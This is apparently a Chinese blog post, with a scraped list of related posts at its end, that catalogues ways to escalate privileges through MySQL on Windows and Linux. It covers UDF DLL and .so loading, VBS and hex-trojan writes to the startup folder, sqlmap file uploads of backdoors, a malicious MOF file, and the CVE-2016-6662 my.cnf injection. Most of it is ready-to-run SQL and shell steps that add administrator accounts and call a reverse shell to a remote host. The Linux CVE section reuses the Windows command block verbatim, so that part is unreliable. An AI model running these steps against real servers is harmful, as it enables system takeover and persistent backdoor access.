MYSQL提权的几种方式

MYSQL在windows和linux平台下存在几种不同的提权姿势,以下会做相关阐述,更多的是学习前辈的经验

Windows

UDF提权

在windows下存在一个叫做动态链接库的东西,俗称DLL。该文件会把程序代码中使用的函数编译成机器码,保存在DLL文件中;在编译时,编译器不会把函数的机器码复制到可执行文件EXE中,而是在EXE执行文件中说明索要调用的函数在哪个DLL文件中,程序在执行时会自动从DLL文件中调用指定的函数

在不同的操作系统上,UDF提权的整体思路是一致的,只是函数调用的方式或者说文件生成的形式所有区别

Windows下的udf.dll可以在sqlmap下的sqlmap\udf\mysql\下,选择操作系统及其相应的位数,其中存放着相应的DLL文件,SQLMAP为了防止被杀,需要使用命令python cloak.py -d -i DLL文件路径生成相应的DLL文件

附上lib_mysqludf_sys的利用方式

  1. UDF提权大致思路如下:

    • 将含有cmd函数的DLL文件写入指定文件夹下
    • 基于第一步的DLL文件创建自定义函数
    • 基于第二步得到的自定义函数调用相应的函数,传入参数,执行系统命令(该命令执行权限为system)
  2. UDF利用条件
    • MYSQL版本大于5.1:DLL文件必须放置在MYSQL安装目录下的lib\plugin目录下
    • MYSQL版本小于5.1大于5.0:在Windows2003下DLL文件放置于C:\windows\system32;在windows200下DLL文件放置于C:\winnt\system32
    • MYSQL版本小于5.0:DLL文件可任意放置
    • MYSQL数据库用户具有创建和删除函数的权限
    • DLL文件有写入指定目录的权限
  3. UDF利用方式
    • 查看plugin目录

      加载失败可先尝试删除原有的扩展名:delete from mysql.func where name=‘cmdshell‘;

      show variables like '%plugin%';
      select @@plugin_dir;
    • 写入DLL文件

      MYSQL大于5.1情况下,可能默认不存在plugin目录,因此可利用NTFS ADS流创建plugin目录

      先查找MYSQL目录:

      select @@basedir;

      再创建lib目录:

      select ‘It is dll‘ into dumpfile ‘MYSQL目录\\lib::$INDEX_ALLOCATION‘;

      最后创建plugin目录:

      select ‘It is dll‘ into dumpfile ‘MYSQL目录\\lib\\plugin::$INDEX_ALLOCATION‘;

      1. 通过webshell上传DLL至plugin目录下
      2. 使用udf.php工具写入DLL文件
    • 创建自定义函数

      常见函数如下:

      cmdshell 执行cmd;
      
      downloader 下载者,到网上下载指定文件并保存到指定目录;
      
      open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
      
      backshell 反弹Shell;
      
      ProcessView 枚举系统进程;
      
      KillProcess 终止指定进程;
      
      regread 读注册表;
      
      regwrite 写注册表;
      
      shut 关机,注销,重启;
      
      about 说明与帮助函数;

      常见利用方式:

      ## 执行系统命令
      # 根据udf.dll创建自定义函数cmdshell
      create function cmdshell returns string soname 'udf.dll';
      # 执行cmd命令(创建新用户)
      select cmdshell('net user waitalone waitalone.cn /add');
      select cmdshell('net localgroup administrators waitalone /add');
      # 删除自定义函数
      drop function cmdshell;
      delete from mysql.func where name='cmdshell';
      
      ## 反弹shell
      create function backshell returns string soname 'udf.dll';
      select backshell("remote_ip",remote_port);

VBS提权

利用MYSQL数据库创建启动项

# 创建临时表a,cmd为字段
create table a (cmd text);
# 通过MYSQL获取系统高权限(后续补充,0表示不弹出窗口)
insert into a values ("set wshshell=createobject('wscript.shell')");
insert into a values ("a=wshshell,run('cmd.exe /c net user user1 password1 /add',0)");
insert into a values ("b=wshshell.run('cmd.exe /c net localgroup administrators user1 /add',0)");
# 写入到启动项中
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

利用MYSQL数据库创建启动项,直接写16进制木马(dumpfile与outfile有所区别)

create table a (cmd BLOB);
insert into a values (CONVERT(木马的16进制代码,CHAR));
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\payload.exe'
drop table a;

sqlmap提权

本质上sqlmap提权其实就是UDF提权,但某些情况下,无法获取MYSQL数据库的用户名密码,如:SQL注入,这时SQLMAP会帮上忙

# 前提条件:存在SQL注入,且MYSQL用户对应的密码复杂度较高,无法获取其明文密码,或者MYSQL无法远程连接
# 上传提权所需的文件,可指定文件存放位置
python sqlmap.py -u "http://ip:port/path" --file-write=本地文件路径 --file-dest=目标文件路径
# 激活sys_exec函数,用于执行系统命令(这一步骤与UDF步骤完全一致)
python sqlmap.py -u "http://ip:port/path" --sql-shell
# 上传后门
python sqlmap.py -u "http://ip:port/path" --file-write=本地木马文件路径 --file-dest=目标文件路径

MOF提权

MOF文件是MYSQL数据库的扩展文件(c:/windows/system32/wbem/mof/nullevt.mof),其作用是每隔5秒该文件就会去监控进程的创建和死亡

  1. 提权原理

    MOF文件每隔5秒就会执行,且执行命令时的权限为系统权限,如果通过MYSQL将MOF文件替换,那么系统就会每隔5秒执行MOF文件,MOF文件中存在一段VBS脚本,因此控制VBS脚本内容变成让系统执行命令,进而提权

  2. 利用条件
    • Windows <= 2003
    • MYSQL对c:/windows/system32/wbem/mof目录有写入权限
    • 已知MYSQL数据的账号密码
  3. 利用方式
    • test.mof (此处借助wscrript.shell执行系统命令)

      #pragma namespace("\\\\.\\root\\subscription")
      instance of __EventFilter as $EventFilter
      {
          EventNamespace = "Root\\Cimv2";
          Name = "filtP2";
          Query = "Select * From __InstanceModificationEvent "
          "Where TargetInstance Isa \"Win32_LocalTime\" "
          "And TargetInstance.Second = 5";
          QueryLanguage = "WQL";
      };
      instance of ActiveScriptEventConsumer as $Consumer
      {
          Name = "consPCSV2";
          ScriptingEngine = "JScript";
          ScriptText =
          "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add\")";
      };
      instance of __FilterToConsumerBinding
      {
          Consumer = $Consumer;
          Filter = $EventFilter;
      };
    • 通过webshell等方式将MOF文件上传至任意目录
    • 通过outfile将MOF文件写入到执行目录下
      select load_file("当前MOF文件路径") into dumpfile "指定MOF文件路径";

Linux

UDF提权

原理和Windows下的UDF提权一致,一句话总结:通过log写my.cnf配置文件,设置恶意so库文件,重启MYSQL使恶意库文件生效,进而执行任意代码

  1. 获取plugin目录路径

    show variables like '%plugin%';
    select @@plugin_dir;
  2. 制作Linux下恶意so文件
  3. 将恶意so文件中的内容写入到MYSQL库目录
    # 可在本地先将so文件导出成包含16进制字符串的txt文本
    select hex(load_file("so文件路径")) into outfile "目的txt文件路径"
    select unhex("16进制字符串") into dumpfile("plugin目录路径");
  4. 创建自定义函数
    create function sys_eval returns soname "mysqludf.so";
    select sys_eval("whoami");

CVE-2016-6662

MYSQL 0Day漏洞:攻击者在仅拥有SELECT/FILE的权限下,利用此漏洞实现ROOT提权,执行任意代码,进而控制服务器

  1. 利用原理

    MySQL的默认安装包里面包含一个脚本mysqld_safe,它被用来启动MySQL服务。mysqld_safe脚本是以root权限启动的,而数据库守护进程mysqld是用较低权限的mysql用户启动的。mysqld_safe脚本中存在一个参数malloc-lib,该参数会引导MYSQL服务加载时,预加载一个库文件,该参数同样可以在MYSQL默认配置文件my.cnf中指定,如:[mysqld]或者[mysqld_safe]。该漏洞的本质是攻击者通过log函数利用不恰当的权限改写MYSQL的配置文件my.cnf,将恶意的文件路径插入到配置文件my.cnf中,从而加载恶意库文件,当mysql服务重启时,就能以root权限执行任意代码

  2. 利用条件
    • 攻击者必须拥有MYSQL的SQL-SHELL,以实现my.cnf的附写
    • 攻击者必须能促使MYSQL服务重启
  3. 利用细节
    • 通过SQL注入等手段获取SQL-SHELL
    • 通过文件上传或DUMPFILE命令将恶意malloc_lib共享文件上传到目标服务器
      select unhex("so文件对应的十六进制字符串") into dumpfile "目标so文件路径"
    • 覆写MYSQL配置文件my.cnf
      set global general_log_file='/var/lib/mysql/my.cnf';
      set global general_log = on;
      select  '
      '>
      '> ; injected config entry
      '>
      '> [mysqld]
      '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
      '>
      '> [separator]
      '>
      '> ';
      set global general_log = off;

      以此通过log函数在my.cnf后

    • 执行任意命令
      ## 执行系统命令
      # 根据udf.dll创建自定义函数cmdshell
      create function cmdshell returns string soname 'udf.dll';
      # 执行cmd命令(创建新用户)
      select cmdshell('net user waitalone waitalone.cn /add');
      select cmdshell('net localgroup administrators waitalone /add');
      # 删除自定义函数
      drop function cmdshell;
      delete from mysql.func where name='cmdshell';
      
      ## 反弹shell
      create function backshell returns string soname 'udf.dll';
      select backshell("remote_ip",remote_port);
    • 重启MYSQL服务,触发恶意库文件执行

CVE-2016-6663:条件竞争漏洞提权

CVE-2016-6664:权限提升漏洞

常见的MYSQL命令(持续更新)

# 如果是本地MYSQL,可直接执行系统命令
system command
# 查看plugin目录
select @@plugin_dir;
show variables like "%plugin%";
# 查看log相关环境变量
show variables like "%general_log_file%";
show variables like "%general_log%";

相关链接:CVE-2016-6662lib_mysqludf_sys,Linux UDF提权,MYSQL-0Day

原文地址:https://www.cnblogs.com/jerrylocker/p/10926156.html

时间: 2024-10-13 21:13:15

MYSQL提权的几种方式的相关文章

转载:windows的mysql提权方式

mysql提权语句归纳如下: 一 UDF提权 这类提权方法我想大家已经知道了,我大致写一下,具体语句如下: create function cmdshell returns string soname ’udf.dll’ select cmdshell(’net user iis_user [email protected]#abcABC /add’); select cmdshell(’net localgroup administrators iis_user /add’); select

提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

一.初识提权 很多时候我们入侵一个网站的时候,想要的是得到这个服务器的权限,也就是admin权限,但是一般默认得到的是普通用的地权限,权限很小,所以就要通过其他手段,提升自己的权限. 提权是将服务器的普通用户提升为管理员用户的一种操作,提权常常用于辅助旁注攻击. 下面我们来了解下window的权限(来自百度百科): Windows 提供了非常细致的权限控制项,能够精确定制用户对资源的访问控制能力,大多数的权限从其名称上就可以基本了解其所能实现的内容. " 权限"(Permission)

MySQL数据库授权的两种方式

MySQL数据库授权的两种方式 方法一:通过grant命令创建用户并授权 grant命令简单语法如下: grant all privileges on dbname.* to [email protected] identified by 'passwd'; 列表说明如下: 说明:上述命令是授权localhost主机上通过用户username管理dbname数据库的所有权限,密码是passwd.其中,username,dbname,passwd可根据业务的情况修改. 举例:创建zd用户,对tes

MYSQL提权方法

cve-2016-6662 MYSQL提权分析 MySQL <= 5.7.15 远程代码执行/ 提权 (0day) 5.6.33 5.5.52 Mysql分支的版本也受影响,包括: MariaDB PerconaDB创建bob用户,并赋予file,select,insert权限,创建用于实验的数据库activedb和表active_table 将exp先写入tmp目录,并编译成so文件,需要修改一下ip,port和my.cnf的位置 select "TYPE=TRIGGERS\ntrigg

mysql级联更新的两种方式:触发器更新和外键

1.mysql级联更新有两种方式:触发器更新和外键更新. 2.触发器更新和外键更新的目的都是为了保证数据完整性. 我们通常有这样的需求:删除表Table 1中记录,需要同时删除其它表中与Table 1有关的若干记录. 举个例子: 现有2个实体- 麻将机 学生.课程,1种联系- 成绩 分别创建 学生表 students, 课程表course,成绩表score --创建 学生表 students CREATE TABLE IF NOT EXISTS `students` ( `id` int(11)

MySQL数据库备份的几种方式

MySQL备份的几种方式 最近一直想写点博客,但是不知道写什么,感觉自己最近的知识没有什么增加,今天想到了一篇可以写的博客.以前试过根据data文件夹备份MySQL,但是从来没有成功过,前几天帮助朋友还原MySQL,终于成功的将备份的data文件夹还原成功了. MySQL数据库算是常用的数据库中最好使用的数据库了,对于备份的操作也不例外.所以今天分享一下MySQL数据库的备份的几种方式. 方式一:使用命令行的方式. 命令行的方式较为快捷,只需要在命令行中使用mysqldump命令即可,默认情况下

mysql提权笔记

最近小菜遇到mysql提权,总是会搞错,就记记笔记吧!以后方便用 先说手工吧! mysql<5.0,导出路径随意:5.0<=mysql<5.1,则需要导出至目标服务器的系统目录(如:system32),否则在下一步操作中你会看到“No paths allowed for shared library”错误:mysql>5.1,需要使用 show variables like '%plugin%';语句查看插件安装路径,导出的时候指定DLL路径为插件路径. 现在几乎都是五点几吧!低版

Mysql提权总结

mysql默认状态下是不开放对外访问功能的 1.如何设置才能允许外网访问MySQL 使用"mysql -uroot -proot"命令可以连接到本地的mysql服务: 使用"use mysql"命令,选择要使用的数据库,修改远程连接的基本信息,保存在mysql数据库中,因此使用mysql数据库: 使用"GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTI

mysql提权常用方法

一般是root权限,知道mysql root权限,root账号密码 启动项提权:原理:利用高权限的root写入一个vbs脚本到启动项,再通过一些方法如ddos,社工管理员之类的方法来让服务器重启,运行脚本,达到提取目的1.查看我们进入数据库中有些什么数据表mysql>show tables;默认的情况下,test中没有任何表的存在.以下为关键的部分2.在TEST数据库下创建一个新的表:mysql>create table a (cmd text);好了,我们创建了一个新的表,表名为a,表中只存